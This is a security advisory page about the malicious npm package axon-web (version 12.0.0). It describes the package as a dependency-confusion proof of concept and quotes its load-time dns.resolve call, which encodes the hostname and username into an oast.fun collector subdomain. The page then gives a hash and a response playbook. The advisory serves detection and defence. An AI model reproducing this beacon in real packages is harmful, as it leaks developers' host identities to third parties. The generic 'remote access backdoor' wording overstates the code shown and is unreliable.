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Malicious package

axon-webnpm

Advisory published Updated

axon-web is a confirmed malicious npm package (MAL-2026-19222) that opens a backdoor for remote access (malicious version 12.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in axon-web (npm)

MAL-2026-19222
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall axon-web

What this malware does

On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.

Malicious versions

1 flagged
12.0.0

Indicators of compromise (SHA-256)

395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for axon-web (version 12.0.0).

  2. If you installed it — respond

    axon-web establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If axon-web was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. axon-web on npm has been identified as a malicious package (version 12.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-022763

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks axon-web-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

axon-web (npm) malicious package — MAL-2026-19222 | O3 Security